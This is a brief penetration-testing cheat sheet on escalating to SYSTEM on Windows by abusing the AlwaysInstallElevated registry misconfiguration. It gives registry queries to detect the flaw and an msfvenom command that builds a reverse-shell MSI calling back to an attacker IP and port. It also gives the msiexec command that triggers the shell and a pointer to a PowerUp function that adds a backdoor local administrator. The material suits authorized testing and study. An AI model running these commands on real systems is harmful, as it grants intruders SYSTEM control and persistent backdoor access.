# AlwaysInstallElevated ## Overview **AlwaysInstallElevated** is a misconfiguration that installs all **msi** packages as **system**. Wheels spinning? ## Elevation via AlwaysInstallElevated Query the registry for the misconfiguration ```powerquery reg query HKLM\Software\Policies\Microsoft\Windows\Installer reg query HKCU\Software\Policies\Microsoft\Windows\Installer ```

The machine is vulnerable if both values are set to 1

Create a malicious msi file

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f msi -o rev.msi

Pop a shell ```powerquery msiexec /i rev.msi ``` ### Quick Win You can get a quick win by using the **Write-UserAddMSI** function from PowerUp. This function will add a backdoor user to the **Local Administrators Group** {% hint style="info" %} An RDP sessions is required for this {% endhint %}

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